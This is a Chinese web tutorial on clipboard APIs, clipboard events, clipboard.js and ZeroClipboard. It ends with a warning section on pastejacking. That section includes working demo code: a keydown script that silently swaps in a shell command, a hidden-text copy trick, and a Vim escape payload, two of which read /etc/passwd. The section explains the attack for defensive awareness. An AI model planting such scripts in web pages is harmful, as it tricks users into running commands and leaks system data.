剪贴板

基于 DOM 的剪贴板操作

剪贴板是界面中常见的操作之一,本文即对其进行简要小结。

剪贴板事件

IE 是最早支持与剪贴板相关的事件,以及通过 JavaScript 访问剪贴板数据的浏览器。IE 的实现成为了事实上的标准,随后 Firefox 3+、Chrome 和 Safari 2+ 都支持类似的事件和剪贴板的访问,但是 Opera 不支持通过 JavaScript 访问剪贴板。直到 HTML5 的到来,将剪贴板相关事件纳入了 HTML5 规范。

利用 JavaScript 复制到剪贴板

第三方库

Clipboard API

要访问剪贴板中的数据,可以通过 clipboardData 对象:在 IE 中,clipboardData 对象是 window 对象的属性 ; 而在 Chrome、Safari 和 Firefox 4+ 中,clipboardData 对象是相应 event 对的属性。但是,在 Chrome、Safari 和 Firefox 4+ 中,只有在处理剪贴板事件期间,clipboardData 对象才有效,这是为了防止对剪贴板的未授权访问 ; 在 IE 中,则可以随时访问 clipboardData 对象。为了确保跨浏览器兼容,最好只在发生剪贴板事件期间使用这个对象。

//获取剪贴板数据方法
function getClipboardText(event) {
  var clipboardData = event.clipboardData || window.clipboardData;
  return clipboardData.getData("text");
}

//设置剪贴板数据
function setClipboardText(event, value) {
  if (event.clipboardData) {
    return event.clipboardData.setData("text/plain", value);
  } else if (window.clipboardData) {
    return window.clipboardData.setData("text", value);
  }
}

这个 clipboardData 对象有三个方法:getData() 方法、setData() 方法和 clearData() 方法。其中,getData() 方法用于从剪贴板中获取数据,它接收一个参数,即要取得的数据格式。在 IE 中,有两种数据格式:’text” 和 ”URL”。在 Chrome、Safari 和 Firefox 4+ 中,这个参数是一种 MIME 类型 ; 不过,可以用 ”text” 代表 ”text/plain”。setData() 方法的第一个参数也是数据类型,第二个参数是要放在剪贴板中的文字。对于第一个参数,IE 照样是支持 ”text” 和 ”URL”,而在 Chrome、Safari 中,仍然支持 MIME 类型。但是与 getData() 方法不同的是,在 Chrome、Safari 中的 setData() 方法不能识别 ”text” 类型。这两个浏览器在成功将文本放到剪贴板中后,都会返回 true; 否则返回 false。好了说了这么多,就来看下面的小例子吧。

事件监控

下面就是 6 个剪贴板事件。

  • beforecopy:在发生复制操作前触发 ;

  • copy:在发生复制操作的时候触发 ;

  • beforecut:在发生剪切操作前触发 ;

  • cut:在发生剪切操作的时候触发 ;

  • beforepaste:在发生粘贴操作前触发 ;

  • paste:在发生粘贴操作的时候触发。

在 Firefox、Chrome 和 Safari 中,beforecopy、beforecut 和 beforepaste 事件只会在显示针对文本框的上下文 菜单 ( 预期将发生剪贴板事件 ) 的情况下触发。但是 IE 则会在触发 copy、cut 和 paste 事件之前先触发这些事件。至于 copy、cut 和 paste 事件,只要是在上下文菜单 ( 右键菜单 ) 中选择了相应选项,或者使用了相应的键盘组合键如 (ctrl+v),所有浏览器都会触发他们。这里以 beforecopy 为例:

<head>
  <script type="text/javascript">
    function OnBeforeCopy() {
      alert("An onbeforecopy event has occurred.");
      if (window.clipboardData) {
        var data = window.clipboardData.getData("Text");
        alert(
          "The contents of the clipboard before the copy operation are\n" + data
        );
      }
    }
  </script>
</head>
<body onbeforecopy="OnBeforeCopy ()">
  Select some text on this page and press CTRL + C!
</body>

clipboardjs: 基于 Selection 与 execCommand 的便捷封装

与标准的 Clipboard API 相比,clipboardjs 具有相对较好地兼容性与易用性,它的浏览器适用范围是:

笔者实机测试过部分 Android 4.0+ 与 iOS 8+ 的移动设备,还是可以使用的。

Installation & Setup

可以基于 npm 安装:

npm install clipboard --save

或者基于 bower 安装:

bower install clipboard --save

安装之后直接引入即可:

<script src="dist/clipboard.min.js"></script>

Basic Usage

注意,所有的 Clipboard 初始化时候都需要传入一个 DOM 元素,然后基于 H5 的 data-* 属性来控制待操作的对象,譬如:

<!-- Target --><input id="foo" value="https://github.com/zenorocha/clipboard.js.git"><!-- Trigger --><button class="btn" data-clipboard-target="#foo"><img src="assets/clippy.svg" alt="Copy to clipboard"></button>


<!--JS-->
new Clipboard('.btn');

这样就建立了基本的拷贝操作,如果是需要进行剪切操作的话:

<!-- Target --><textarea id="bar">Mussum ipsum cacilds...</textarea><!-- Trigger --><button class="btn" data-clipboard-action="cut" data-clipboard-target="#bar">
Cut to clipboard
</button>

也可以直接复制一些属性:

<!-- Trigger --><button
  class="btn"
  data-clipboard-text="Just because you can doesn't mean you should — clipboard.js"
>
  Copy to clipboard
</button>

Event

clipboardjs 也为我们设置了一些在调用前后的监听事件,最常用的就是 success 与 error 事件:

var clipboard = new Clipboard(".btn");

clipboard.on("success", function (e) {
  console.info("Action:", e.action);
  console.info("Text:", e.text);
  console.info("Trigger:", e.trigger);

  e.clearSelection();
});

clipboard.on("error", function (e) {
  console.error("Action:", e.action);
  console.error("Trigger:", e.trigger);
});

Advanced Usage

如果你希望利用代码动态控制目标元素和文本内容,clipboardjs 也提供了一系列易用的 API,你要做的就是按照规范声明方程。譬如,如果你想要动态设置操作目标target,可以直接返回一个 Node 节点:

new Clipboard(".btn", {
  target: function (trigger) {
    return trigger.nextElementSibling;
  },
});

如果想要动态设置文本内容,可以返回一个 String:

new Clipboard(".btn", {
  text: function (trigger) {
    return trigger.getAttribute("aria-label");
  },
});

另外,如果你是一个单页应用,可以利用 destroy 来在 DOM 的生命周期中进行控制:

var clipboard = new Clipboard(".btn");
clipboard.destroy();

ZeroClipboard: 基于 Flash 的剪贴板控制

ZeroClipboard 是只要在能够使用 Flash 的地方就可以使用,如果碰上 Flash 被禁止了的就歇菜了。现在不是很建议使用,不过在某些需要兼容的老版本浏览器上可以考虑:

<html>
  <body>
    <button
      id="copy-button"
      data-clipboard-text="Copy Me!"
      title="Click to copy me."
    >
      Copy to Clipboard
    </button>
    <script src="ZeroClipboard.js"></script>
    <script src="main.js"></script>
  </body>
</html>
<script>
  // main.js var client = new ZeroClipboard(
  document.getElementById("copy-button") ); client.on( "ready", function(
  readyEvent ) { // alert( "ZeroClipboard SWF is ready!" ); client.on(
  "aftercopy", function( event ) { // `this` === `clien   // `event.target` ===
  the element that was clicked event.target.style.display = "none"; alert("Copied
  text to clipboard: " + event.data["text/plain"] ); } ); } );
</script>

Pastejacking: 复制劫持

笔者也是最近看到了 Github 上的这篇关于复制劫持的文章,才打算把之前的网页剪贴板相关的东西整理下发出来。浏览器允许开发者能够自主地控制用户剪贴板,不过这样也就导致了部分恶意网页可能引导用户无意间执行恶意代码。最常见的就是譬如你浏览某个教程网站,上面提示你输入以下命令:

git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

作为资深懒货,我肯定选择复制粘贴啦,然后我就 Happy 的 Ctrl+C,然后我惊讶的发现自己的剪贴板里的内容变成了:

git clone /dev/null; clear; echo -n "Hello ";whoami|tr -d '\n';echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust!
Here'"'"'s the first line of your /etc/passwd: ';head -n1 /etc/passwd
git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

这种攻击方法还是基于典型的 HTML/CSS 隐藏属性,在开发者工具中查看 DOM 树可以发现,在我们看不见的地方放了这些东西:

当我们选定复制的时候,其实是把那些隐藏的部分全部选上了。而我们这边要讨论的剪贴板劫持攻击跟这个的效果很类似,只不过剪贴板劫持攻击会更让你防不胜防一点,它可以在你任何一个点击事件后触发,并且可以控制将一些十六进制字符复制进去,有时候还能用来干掉你的 Vim,还是先看一个例子:

可以看出这次没有隐藏 DOM 元素,但是当我们复制了之后,得到的却是:

touch ~/.evil
clear
echo "not evil"

这次是因为它加了这么个控制脚本:

function copyTextToClipboard(text) {
  var textArea = document.createElement("textarea"); // // *** This styling is an extra step which is likely not required. *** // // Why is it here? To ensure: // 1. the element is able to have focus and selection. // 2. if element was to flash render it has minimal visual impact. // 3. less flakyness with selection and copying which **might** occur if //the textarea element is not visible. // // The likelihood is the element won't even render, not even a flash, // so some of these are just precautions. However in IE the element // is visible whilst the popup box asking the user for permission for // the web page to copy to the clipboard. // // Place in top-left corner of screen regardless of scroll position.

  textArea.style.position = "fixed";
  textArea.style.top = 0;
  textArea.style.left = 0; // Ensure it has a small width and height. Setting to 1px / 1em // doesn't work as this gives a negative w/h on some browsers.

  textArea.style.width = "2em";
  textArea.style.height = "2em"; // We don't need padding, reducing the size if it does flash render.

  textArea.style.padding = 0; // Clean up any borders.

  textArea.style.border = "none";
  textArea.style.outline = "none";
  textArea.style.boxShadow = "none"; // Avoid flash of white box if rendered for any reason.

  textArea.style.background = "transparent";

  textArea.value = text;

  document.body.appendChild(textArea);

  textArea.select();

  try {
    var successful = document.execCommand("copy");
    var msg = successful ? "successful" : "unsuccessful";
    console.log("Copying text command was " + msg);
  } catch (err) {
    console.log("Oops, unable to copy");
  }

  document.body.removeChild(textArea);
}

document.addEventListener("keydown", function (event) {
  var ms = 800;
  var start = new Date().getTime();
  var end = start;
  while (end < start + ms) {
    end = new Date().getTime();
  }
  copyTextToClipboard('touch ~/.evil\nclear\necho "not evil"');
});

防不胜防啊。这东西就好像当年某些钓鱼网站让你乱下一些 PE 病毒一样,并没有直接的解决方案,最好的防护方式就是以后你复制命令到终端的时候仔细瞅瞅,或者先复制到一个第三方的编辑器内看看有没有啥奇怪的命令。不过别用 Vim 作为验证,譬如如下的攻击方式:

copyTextToClipboard('echo "evil"\n \x1b:!cat /etc/passwd\n');

它会利用 Vim 的 Macro 来获取你的用户密码等。如果你用的是 ITerm,它会提醒你那些自动利用换行来执行的命令:

上一页
下一页